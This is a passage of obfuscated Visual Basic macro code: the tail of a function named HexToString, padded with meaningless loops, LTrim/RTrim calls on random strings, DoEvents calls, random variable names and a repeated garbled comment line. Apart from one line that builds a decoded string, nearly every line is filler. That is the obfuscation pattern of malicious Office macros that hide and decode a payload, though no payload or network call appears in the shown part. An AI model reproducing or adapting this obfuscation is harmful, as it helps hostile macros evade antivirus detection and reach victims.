'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
DoEvents
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Next TsiwubrI
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim MwBHNLZT, HxozmVNY, QclfGzcU As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
MwBHNLZT = "           RBZNKH               "
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
HxozmVNY = LTrim(MwBHNLZT)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
QclfGzcU = RTrim(HxozmVNY)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
GruYCnkJ = LTrim(ZVmEwSfY)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim uexgnnUh As Integer
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
For uexgnnUh = 0 To 3
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim TTxWkwog, pnrhRJay, GwQPJsKV As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
TTxWkwog = "           CXCHGE               "
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
pnrhRJay = LTrim(TTxWkwog)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
GwQPJsKV = RTrim(pnrhRJay)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
DoEvents
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Next uexgnnUh
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim NYOYZXeF, ZJVnslSi, JUetkyVH As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
NYOYZXeF = "           COXSDA               "
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
ZJVnslSi = LTrim(NYOYZXeF)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
JUetkyVH = RTrim(ZJVnslSi)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
apLObfmz = RTrim(GruYCnkJ)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim RkUblskv As Integer
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
For RkUblskv = 0 To 7
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim HjrlxgJg, zxHxVeMb, fZZbnJVP As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
HjrlxgJg = "           LMHLBO               "
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
zxHxVeMb = LTrim(HjrlxgJg)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
fZZbnJVP = RTrim(zxHxVeMb)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
DoEvents
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Next RkUblskv
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim eoAdalMn, VpQvwvkA, MqWPHZGE As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
eoAdalMn = "           ILHQKR               "
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
VpQvwvkA = LTrim(eoAdalMn)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
MqWPHZGE = RTrim(VpQvwvkA)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
tSYUgjyTUeojMcv = tSYUgjyTUeojMcv & uQdrZqcgGusmEB
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Next UPEktusxicjMa
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim vLUjcBdM, lMJZKrPW, hMzFdiiX As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim wxUYZNsg As Integer
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
For wxUYZNsg = 0 To 9
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim ydninZlZ, QioEDCpl, heHVNlzs As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
ydninZlZ = "           QSBXMU               "
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
QioEDCpl = LTrim(ydninZlZ)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
heHVNlzs = RTrim(QioEDCpl)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
DoEvents
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Next wxUYZNsg
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim oiliRZbe, cCbQPfQQ, NoFTlQmt As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
oiliRZbe = "           MSPKBB               "
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
cCbQPfQQ = LTrim(oiliRZbe)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
NoFTlQmt = RTrim(cCbQPfQQ)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
vLUjcBdM = "           LQLDRL               "
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim MYgryIdq As Integer
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
For MYgryIdq = 0 To 7
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim vPdljkLB, xmHuglbc, IAZpJiZI As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
vPdljkLB = "           PEMLCQ               "
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
xmHuglbc = LTrim(vPdljkLB)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
IAZpJiZI = RTrim(xmHuglbc)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
DoEvents
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Next MYgryIdq
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim HtQwFDwA, StWUoJLZ, UytLZXjE As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
HtQwFDwA = "           AHWHSD               "
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
StWUoJLZ = LTrim(HtQwFDwA)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
UytLZXjE = RTrim(StWUoJLZ)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
lMJZKrPW = LTrim(vLUjcBdM)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim ILQdemdE As Integer
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
For ILQdemdE = 0 To 2
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim ByCymulP, EzRnUAqZ, oCdWMCel As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
ByCymulP = "           UOPWJX               "
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
EzRnUAqZ = LTrim(ByCymulP)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
oCdWMCel = RTrim(EzRnUAqZ)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
DoEvents
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Next ILQdemdE
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim RDxHPwJM, uBQPlKng, wGHfbRSC As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
RDxHPwJM = "           SDHJJF               "
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
uBQPlKng = LTrim(RDxHPwJM)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
wGHfbRSC = RTrim(uBQPlKng)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
hMzFdiiX = RTrim(lMJZKrPW)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim ZUfzmsqk As Integer
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
For ZUfzmsqk = 0 To 1
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim DokaybRB, BgrrUdIp, smHuoaQm As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
DokaybRB = "           KHCPJG               "
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
BgrrUdIp = LTrim(DokaybRB)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
smHuoaQm = RTrim(BgrrUdIp)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
DoEvents
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Next ZUfzmsqk
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim wvwqyNjl, kbTcnrFl, dbHOWosm As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
wvwqyNjl = "           JNDPWM               "
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
kbTcnrFl = LTrim(wvwqyNjl)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
dbHOWosm = RTrim(kbTcnrFl)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
HexToString = tSYUgjyTUeojMcv
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
End Function